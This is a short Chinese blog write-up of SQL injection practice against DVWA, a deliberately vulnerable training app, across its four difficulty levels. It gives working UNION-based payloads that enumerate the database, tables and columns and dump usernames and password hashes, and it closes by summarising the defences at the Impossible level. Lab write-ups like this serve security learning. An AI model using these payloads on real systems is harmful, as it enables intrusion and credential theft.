DVWA —— SQL Injection分析

一.Low

1.Low等级的php代码

发现没有任何防御

2.直接order by

order by 3时错误

order by 2时正确

3.查询数据库

 

'union select database(),2#

 

得到数据库名为dvwa

4.查询表名

'union select table_name,2 from information_schema.tables where table_schema=0x64767761#

4.查询users下的列名

 

'union select column_name,2 from information_schema.columns where table_name=0x7573657273#

 

5.查询user,password的数据

 

'union select user,password from users#

 

 

 

二.Medium

1.Medium下的php代码

发现调用了mysqli_real_escape_string(),过滤掉了以下字符:\x00  \n  \r  \  '  "  \x1a

并把输入框改为了下拉选择

2.抓包尝试数字型注入

sql语句与Low等级下基本相同,需要去掉引号

仍然先ordey by,发现为2时正确

3.获取数据库名

4.表名

5.列名

6.列名下数据

 

三.High

1.High等级时php代码

与medium对比,仅是在sql语句中添加了LIMIT,想要只返回一个数据,注入时可以注释掉LIMIT

注入语句与Low等级时相同

 

四.Impossible

代码如下

发现首先使用了一个利用token防csrf的技术,之后检查输入id是否为数字型,之后还采用了PDO,最终结果唯一时才会回显。

 

posted @ 2018-11-06 23:42  Loong716  阅读(275)  评论(0编辑  收藏  举报